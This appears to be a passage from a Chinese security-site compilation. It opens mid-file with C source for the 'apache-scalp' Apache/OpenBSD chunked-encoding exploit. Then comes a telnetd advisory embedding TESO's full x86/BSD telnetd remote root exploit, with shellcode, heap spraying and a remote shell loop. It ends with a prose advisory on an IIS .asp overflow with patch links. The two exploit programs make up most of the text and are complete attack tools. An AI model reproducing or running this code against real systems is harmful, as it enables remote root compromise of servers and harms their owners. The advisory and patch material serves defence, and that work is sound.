#define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming it failed
    */
#define RET_ADDR_INC 512

#define MEMCPY_s1_OWADDR_DELTA -146
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7

#define REP_POPULATOR 24
#define REP_RET_ADDR 6
#define REP_ZERO 36
#define REP_SHELLCODE 24
#define NOPCOUNT 1024

#define NOP 0x41
#define PADDING_1 'A'
#define PADDING_2 'B'
#define PADDING_3 'C'

#define PUT_STRING(s) memcpy(p, s, strlen(s));
    p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;

#define SHELLCODE_LOCALPORT_OFF 30

char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";

struct {
char *type;
u_long retaddr;
} targets[] = { // hehe, yes theo, that say OpenBSD here!
{ "OpenBSD 3.0 x86 / Apache 1.3.20", 0xcf92f },
{ "OpenBSD 3.0 x86 / Apache 1.3.22", 0x8f0aa },
{ "OpenBSD 3.0 x86 / Apache 1.3.24", 0x90600 },
{ "OpenBSD 3.1 x86 / Apache 1.3.20", 0x8f2a6 },
{ "OpenBSD 3.1 x86 / Apache 1.3.23", 0x90600 },
{ "OpenBSD 3.1 x86 / Apache 1.3.24", 0x9011a },
{ "OpenBSD 3.1 x86 / Apache 1.3.24 #2", 0x932ae },
};

int main(int argc, char *argv[]) {

char *hostp, *portp;
unsigned char buf[512], *expbuf, *p;
int i, j, lport;
int sock;
int bruteforce, owned, progress;
u_long retaddr;
struct sockaddr_in sin, from;

if(argc != 3) {
printf("Usage: %s <target#|base address> <ip[ort]>\n",
    argv[0]);
printf(" Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
printf(" Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
printf("\n--- --- - Potential targets list - --- ----\n");
printf("Target ID / Target specification\n");
for(i = 0; i < sizeof(targets)/8; i++)
printf("\t%d / %s\n", i, targets[i].type);

return -1;
}

hostp = strtok(argv[2], ":");
if((portp = strtok(NULL, ":")) == NULL)
portp = "80";

retaddr = strtoul(argv[1], NULL, 16);
if(retaddr < sizeof(targets)/8) {
retaddr = targets[retaddr].retaddr;
bruteforce = 0;
}
else
bruteforce = 1;

srand(getpid());
signal(SIGPIPE, SIG_IGN);
for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {

/* skip invalid return adresses */
i = retaddr & 0xff;
if(i == 0x0a || i == 0x0d)
retaddr++;
else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
continue;

sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(hostp);
sin.sin_port = htons(atoi(portp));
if(!progress)
printf("\n[*] Connecting.. ");

fflush(stdout);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror("connect()");
exit(1);
}

if(!progress)
printf("connected!\n");

/* Setup the local port in our shellcode */
i = sizeof(from);
if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
perror("getsockname()");
exit(1);
}

lport = ntohs(from.sin_port);
shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;

p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
+ ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));

PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");

for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(": ");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING("\r\n");
}

for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(": ");
for (j = 0; j < REP_RET_ADDR; j++) {
*p++ = retaddr & 0xff;
*p++ = (retaddr >> 8) & 0xff;
*p++ = (retaddr >> 16) & 0xff;
*p++ = (retaddr >> 24) & 0xff;
}

PUT_BYTES(REP_ZERO, 0);
PUT_STRING("\r\n");
}

PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
PUT_STRING(buf);

write(sock, expbuf, p - expbuf);

progress++;
if((progress%70) == 0)
progress = 1;

if(progress == 1) {
memset(buf, 0, sizeof(buf));
sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport
    %u",
retaddr, (unsigned int)(p - expbuf), lport);
memset(buf + strlen(buf), ' ', 74 - strlen(buf));
puts(buf);
if(bruteforce)
putchar(';');
}
else
putchar((rand()%2)? 'P': 'p');

fflush(stdout);
while (1) {
fd_set fds;
int n;
struct timeval tv;

tv.tv_sec = EXPLOIT_TIMEOUT;
tv.tv_usec = 0;

FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
break;

if(!owned && n >= 4 && memcmp(buf,
    "\nok\n", 4) == 0) {
printf("\nGOBBLE GOBBLE!@#%%)*#\n");
printf("retaddr 0x%lx did the trick!\n", retaddr);
sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel
    exploit to gain instant r00t\n");
write(sock, expbuf, strlen(expbuf));
owned++;
}

write(1, buf, n);
}

if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);

write(sock, buf, n);
}
}

if(!owned)
break;
}

free(expbuf);
close(sock);

if(owned)
return 0;

if(!bruteforce) {
fprintf(stderr, "Ooops.. hehehe!\n");
return -1;
}
}

return 0;
}


BSD源码系统telnetd严重溢出漏洞,远程攻击者可获得Root权限

受影响系统：
所有运行BSD源码的系统

描述：
来自BSD源码的telnetd 进程存在缓冲区溢出漏洞。它在处理Telnet协议时，"telrcv" 函数的结果存放在一个固定的缓冲区中。它假定了结果是小于缓冲区的，并且没有做任何边界检查。
此漏洞由TESO小组发现。攻击程序也已经公布，很多操作系统受此影响。

欲知更多信息，请访问：
http://www.team-teso.net/advisories/teso-advisory-011.tar.gz.

影响：
入侵者可以以Telnetd运行时权限来执行恶意代码，一般为root权限

测试代码：
以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* http://www.hack.co.za/ website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
* NetBSD 1.5
* FreeBSD 3.1
* FreeBSD 4.0-REL
* FreeBSD 4.2-REL
* FreeBSD 4.3-BETA
* FreeBSD 4.3-STABLE
* FreeBSD 4.3-RELEASE
*
*/

#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

/* global variables, uhhohh!
*/
int mode = 16;
int num = 245;
int pop = 31500; /* puts code at 0x08fdff0a */
int bs = 1; /* buffer start */

int num34 = 244;
int pop34 = 71833; /* puts code at 0x0a0d08fe */
int bs34 = 0;

int walk; /* populator walker */
int force = 0; /* force exploitation */
int checkonly = 0; /* check telnetd only */

void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
dest |= val << (8 - bw - len); /* set value bits */ \
bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);

/* x86/bsd PIC portshell shellcode
* by lorian/teso
* port 0x4444 (might want to change it here)
*/
unsigned char x86_bsd_portshell[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
"\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
/* ^^ ^^ port */
"\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
"\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
"\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";

/* x86/bsd PIC execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_execvesh[] =
"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_compaexec[] =
"\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
"\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";

unsigned char * shellcode = x86_bsd_compaexec;

#define COL 55

void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
"-c\tcheck exploitability only, do not exploit\n"
"-f\tforce mode, override check results\n\n");
fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
"send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
"take that, or it will take very long for it (> 1h). beware.\n\n");

fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
"\tNetBSD 1.5\n"
"\tBSDI BSD/OS 4.1\n\n");

exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
char c;
char * progname;
char * dest;
int i, j, fd,
dots = 0;
int popc;
struct timeval start,
cur;
unsigned long long int g_pct, /* gaussian percentage */
g_all; /* gaussian overall */

fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
"by zip, lorian, smiler and scut.\n\n");

progname = argv[0];
if (argc < 2)
usage (progname);

while ((c = getopt (argc, argv, "n:cf")) != EOF) {
switch (c) {
case 'n':
num = atoi (optarg);
break;
case 'c':
checkonly = 1;
break;
case 'f':
force = 1;
break;
default:
usage (progname);
break;
}
}

dest = argv[argc - 1];
if (dest[0] == '-')
usage (progname);

fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect\n");
exit (EXIT_FAILURE);
}

random_init ();

if (xp_check (fd) == 0 && force ==
    0) {
printf ("aborting\n");
#ifndef DEBUG
exit (EXIT_FAILURE);
#endif
}
close (fd);

if (checkonly)
exit (EXIT_SUCCESS);

fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect the second time\n");
exit (EXIT_FAILURE);
}

printf ("\n#################################################
############################\n\n");
printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
"telnet daemon process, it will spill badly. but then, there is no\n"
"other way, sorry...\n\n", mode);

#ifdef DEBUG
getchar ();
#endif
printf ("## setting populators to populate heap address space\n");

g_all = ((unsigned long long int)(pop / 2)) *
((unsigned long long int)(pop + 1));
g_pct = 0;

printf ("## number of setenvs (dots /
    network): %d\n", pop);
printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
printf ("##\n");
printf ("## the percentage is more realistic than the dots \n");
printf ("\n");
printf ("percent |");

popc = pop / COL;
for (i = pop / popc ; i >= 0 ; --i)
printf ("-");
printf ("| ETA |\n");

gettimeofday (&start, NULL);

for (walk = 0 ; walk < pop ; ++walk) {
xp_pop (fd);

g_pct += walk;

if (walk % popc == 0)
dots += 1;

if (walk % 200 == 0) {
int pct;
float pct_f;
unsigned long int diff;

pct = (int) ((g_pct * 100) / g_all);
pct_f = g_pct * 100;
pct_f /= (float) g_all;

/* calculate difference not caring about accuracy
    */
gettimeofday (&cur, NULL);
diff = cur.tv_sec - start.tv_sec;

printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
"\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
for (j = 0 ; j < dots ; ++j)
printf (".");
for ( ; j <= COL ; ++j)
printf (" ");

if (pct != 0) {
diff = (int) ((((float)(100 - pct_f)) /
(float) pct_f) * diff);
printf ("| %02lu:%02lu:%02lu |",
diff / 3600, (diff % 3600) / 60,
diff % 60);
} else {
printf ("| --:--:-- |");
}

fflush (stdout);
}
}
printf ("\n\n");

printf ("## sleeping for 10 seconds to let the process recover\n");
sleep (10);

#ifdef DEBUG
getchar ();
#endif
/* return into 0x08feff0a */
xp (fd);
sleep (1);

printf ("## ok, you should now have a
    root shell\n");
printf ("## as always, after hard times, there is a reward...\n");
printf ("\n\ncommand: ");
fflush (stdout);

shell (fd);

exit (EXIT_SUCCESS);
}

void
xp (int fd)
{
int n;
unsigned char buf[2048];

/* basic overflow */
for (n = bs ; n < sizeof (buf) ; ++n)
buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

/* some nifty alignment */
buf[0] = '\xff'; /* IAC */
buf[1] = '\xf5'; /* AO */

if (mode == 16) {
buf[2] = '\xff'; /* IAC */
buf[3] = '\xfb'; /* WILL */
buf[4] = '\x26'; /* ENCRYPTION */
}

/* force 0x08feff0a as return */
buf[num++] = '\xff';
buf[num++] = '\xfb';
buf[num++] = '\x08';

/* and the output_encrypt overwrite action, yay! */
buf[num++] = '\xff';
buf[num++] = '\xf6';

/* XXX: should not fail here, though we should
    better loop and check */
n = send (fd, buf, num, 0);
if (n != num) {
perror ("xp:send");
}
}

#ifdef INSANE_MIND

void
xp_shrinkwin (int fd)
{
int n;
int iobc;
int p = 0;
unsigned char buf[2048];
char c;
int val;
int len;

for (n = 0 ; n < sizeof (buf) ; ++n)
buf[n] = n % 2 ? '\xf6' : '\xff';

len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
val = 1;
printf ("setsockopt: %s\n",
setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
"FAILED" : "SUCCESS");
val = 1234;
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);

getchar();
while (1) {
if (p > 105)
c = getchar();
if (c == 'r') {
getchar();
read (fd, &buf[1024], 384);
} else if (c == 'o') {
getchar();
send (fd, "7", 1, MSG_OOB);
} else if (c != 'r') {
usleep(100000);
n = send (fd, buf, 112, 0);
ioctl (fd, FIONREAD, &iobc);
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
printf ("%02d. send: %d local: %d/%d (%d left)\n",
++p, n, iobc, val, val - iobc);
}
}
}
#endif

/* xp_pop - populator function
*
* causes remote telnet daemon to setenv() variables with our content, populating
* the heap with shellcode. this will get us more nopspace and place our shellcode
* where the nice addresses are, that we can create by writing telnet option
* strings.
*
* XXX: there seems to be a maximum size for the environment value you can set,
* which is 510. we use 496 bytes for nopspace and shellcode therefore.
* should work, rather similar to tsig tcp/malloc exploitation. -sc
*/

void
xp_pop (int fd)
{
unsigned char var[16];
unsigned char storebuf[496];
sprintf (var, "%06x", walk);
#ifdef DEBUG
memset (storebuf, '\xcc', sizeof (storebuf));
#else
/* memset (storebuf, '\x90', sizeof (storebuf)); */
x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
shellcode, strlen (shellcode));
#endif
storebuf[sizeof (storebuf) - 1] = '\0';

xp_setenv (fd, var, storebuf);
}

void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
int n = 0;
unsigned char buf[2048];

buf[n++] = IAC;
buf[n++] = SB;
buf[n++] = TELOPT_NEW_ENVIRON;
buf[n++] = TELQUAL_IS;
buf[n++] = ENV_USERVAR;

/* should not contain < 0x04 */
while (*var) {
if (*var == IAC)
buf[n++] = *var;
buf[n++] = *var++;
}
buf[n++] = NEW_ENV_VALUE;
while (*val) {
if (*val == IAC)
buf[n++] = *val;
buf[n++] = *val++;
}
buf[n++] = IAC;
buf[n++] = SE;

if (send (fd, buf, n, 0) != n) {
perror ("xp_setenv:send");
exit (EXIT_FAILURE);
}
}

int
xp_check (int fd)
{
int n;
unsigned int expect_len = 15;
unsigned char expected[] =
"\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
/* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
unsigned int additional_len = 8;
unsigned char additional[] =
"\xff\xfa\x26\x01\x01\x02\xff\xf0";
/*IAC SB ENC ........... IAC SE */

unsigned char buf[128];

read (fd, buf, sizeof (buf));

n = 0;
buf[n++] = IAC; /* 0xff */
buf[n++] = AYT; /* 0xf6 */

buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_NAOL; /* 0x08 */

buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_ENCRYPT; /* 0x26 */

#ifdef DEBUG
hexdump ("check send buffer", buf, n);
#endif
if (send (fd, buf, n, 0) != n) {
perror ("xp_check:send");
exit (EXIT_FAILURE);
}

n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
hexdump ("check recv buffer", buf, n);
#endif

if (memcmp (buf, expected, expect_len) == 0)
    {
if (memcmp (buf+expect_len, additional, additional_len) == 0) {
mode = 16;
} else {
mode = 34;
bs = bs34;
}
printf ("check: PASSED, using %dmb mode\n", mode);

return (1);
}

printf ("check: FAILED\n");

return (0);
}

void
shell (int sock)
{
int l;
char buf[512];
fd_set rfds;

while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);

select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}

if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l <= 0) {
perror ("read remote");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}

/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";

printf ("/* %s, %u bytes */\n", desc, amount);

for (dp = 1; dp <= amount; dp++) {
fprintf (stderr, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (stderr, " ");
if ((dp % 16) == 0) {
fprintf (stderr, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
fprintf (stderr, "\n");
}
fflush (stderr);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (stderr, " ");
if (((dp % 8) == 0) && (p != 8))
fprintf (stderr, " ");
fflush (stderr);
}
fprintf (stderr, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
}
fprintf (stderr, "\n");

return;
}

unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;

i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}

int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n,
len,
error,
flags;
int fd;
struct timeval tv;
fd_set rset, wset;
struct sockaddr_in csa;

if (cs == NULL)
cs = &csa;

/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);

if (!(cs->sin_addr.s_addr = net_resolve
    (server))) {
close (fd);
return (-1);
}

flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof
    (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;

FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL,
    &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd,
    &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);

done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}

/* imported from shellkit */

unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
unsigned long int val;

if (low > high) {
low ^= high;
high ^= low;
low ^= high;
}

val = (unsigned long int) random ();
val %= (high - low);
val += low;

return (val);
}

void
random_init (void)
{
srandom (time (NULL));
}

int
bad (unsigned char u)
{
if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
return (1);

return (0);
}

int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
int n;

for (code_len -= 1 ; code_len >= 0 ; --code_len)
    {
for (n = 0 ; n < bad_len ; ++n)
if (code[code_len] == bad[n])
return (1);
}

return (0);
}

unsigned long int
x86_nop_rwreg (void)
{
unsigned long int reg;

do {
reg = random_get (0, 7);
} while (reg == 4); /* 4 = $esp */

return (reg);
}

unsigned long int
x86_nop_xfer (char *xferstr)
{
int bw = 0; /* bitfield walker */
unsigned char tgt; /* resulting instruction */

/* in a valid xferstr we trust */
for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr)
    {
switch (xferstr[0]) {
case ('0'):
BSET (tgt, 1, 0, bw);
break;
case ('1'):
BSET (tgt, 1, 1, bw);
break;
case ('r'):
BSET (tgt, 3, x86_nop_rwreg (), bw);
break;
case ('.'):
break; /* ignore */
default:
fprintf (stderr, "on steroids, huh?\n");
exit (EXIT_FAILURE);
break;
}
}

if (bw != 8) {
fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
exit (EXIT_FAILURE);
}

return (tgt);
}

unsigned int
x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len)
{
int walk;
int bcount; /* bad counter */
char * xs;
char * xferstr[] = {
"0011.0111", /* aaa */
"0011.1111", /* aas */
"1001.1000", /* cbw */
"1001.1001", /* cdq */
"1111.1000", /* clc */
"1111.1100", /* cld */
"1111.0101", /* cmc */
"0010.0111", /* daa */
"0010.1111", /* das */
"0100.1r", /* dec <reg> */
"0100.0r", /* inc <reg> */
"1001.1111", /* lahf */
"1001.0000", /* nop */
"1111.1001", /* stc */
"1111.1101", /* std */
"1001.0r", /* xchg al, <reg> */
NULL,
};
unsigned char tgt;

for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
/* avoid endless loops on excessive badlisting */
for (bcount = 0 ; bcount < 16384 ; ++bcount) {
xs = xferstr[random_get (0, 15)];
tgt = x86_nop_xfer (xs);

dest[walk] = tgt;
if (badstr (&dest[walk], 1, bad, bad_len) == 0)
break;
}

/* should not happen */
if (bcount >= 16384) {
fprintf (stderr, "too much blacklisting, giving up...\n");
exit (EXIT_FAILURE);
}
}

return (walk);
}

解决措施：
1． 打补丁。后面附有相关厂商的补丁信息。
2． 应用防火墙和包过滤工具限制Telnet的访问。

厂商信息

BSDI
所有BSD系统都存在此漏洞。补丁站点：
http://www.bsdi.com/services/support/patches
ftp://ftp.bsdi.com/bsdi/support/patches

Cisco Systems
Cisco IOS不受此影响。但某些非IOS产品可能有此漏洞。请随时关注
http://www.cisco.com/go/psirt/.

FreeBSD
所有FreeBSD版本都存在此漏洞。2001年7月23日发布的FreeBSD 4.3-STABLE和reeBSD 3.5.1-STABLE已经修补此漏洞。
请参考：
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc

Hewlett-Packard
正在调查

Sun Microsystems
正在调查


IIS .asp映射分块编码远程缓冲区溢出漏洞

是否远程：是 是否本地：是
适用环境：
Microsoft IIS 4.0
- Microsoft Windows NT 4.0
Microsoft IIS 5.0
- Microsoft Windows 2000

--------------------------------------------------------------------------------

CVE(CAN) ID: CAN-2002-0147

Microsoft IIS（Internet Information Server）是MS Windows系统默认自带的Web服务器软件。

IIS 4.0/5.0/5.1 ASP (Active Server Pages) ISAPI过滤器存在远程缓冲区溢出漏洞，远程攻击者可以利用此漏洞得到主机本地普通用户访问权限。

默认安装的IIS 4.0/5.0/5.1服务器加载了ASP ISAPI过滤器，它在处理分块编码传送（chunked encoding transfer）机制的代码中存在一个缓冲区溢出漏洞。攻击者通过提交恶意分块编码的数据可以覆盖heap区的内存数据，从而改变程序执行流程，执行任意攻击者指定的代码。

此安全漏洞由微软自行发现，此漏洞与“Microsoft IIS 4.0/5.0 .asp映射分块编码远程缓冲区溢出漏洞”（ http://security.nsfocus.com/showQuery.asp?bugID=2551 ）有着相似的原理和后果。但是此漏洞同时也影响IIS 5.1，并且无法通过URLScan工具消除威胁。

如果攻击者使用随机数据，可能使IIS服务崩溃（IIS 5.0/5.1会自动重启）。如果精心构造发送的数据，也可能允许攻击者执行任意代码。

成功地利用这个漏洞，对于IIS 4.0，远程攻击者可以获取SYSTEM权限；对于IIS 5.0/5.1攻击者可以获取IWAM_computername用户的权限。

建议:

临时解决方法：

如果您不能立刻安装补丁或者升级，建议您采取以下措施以降低威胁：

* 如果您不需要使用ASP脚本，您应该立刻删除".asp"的脚本映射。

 可以参考如下步骤删除上述脚本映射：

 1. 打开Internet 服务管理器
 2. 右击你的服务器（例如 "* nsfocus"），在菜单中选择"属性"栏
 3. 选择"主属性"
 4. 选择 WWW 服务 | 编辑 | 主目录 | 配置
 5. 在扩展名列表中删除".asp"项。
 6. 保存设置,然后重启IIS服务。

厂商补丁：

Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS02-018）以及相应补丁:
MS02-018：Cumulative Patch for Internet Information Services (Q319733)
链接：http://www.microsoft.com/technet/security/bulletin/MS02-018.asp

补丁下载：

* Microsoft IIS 4.0:
 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37931

 * Microsoft IIS 5.0:
 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824

 * Microsoft IIS 5.1:
 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37857

出处：绿盟科技
信息来源：阿刚
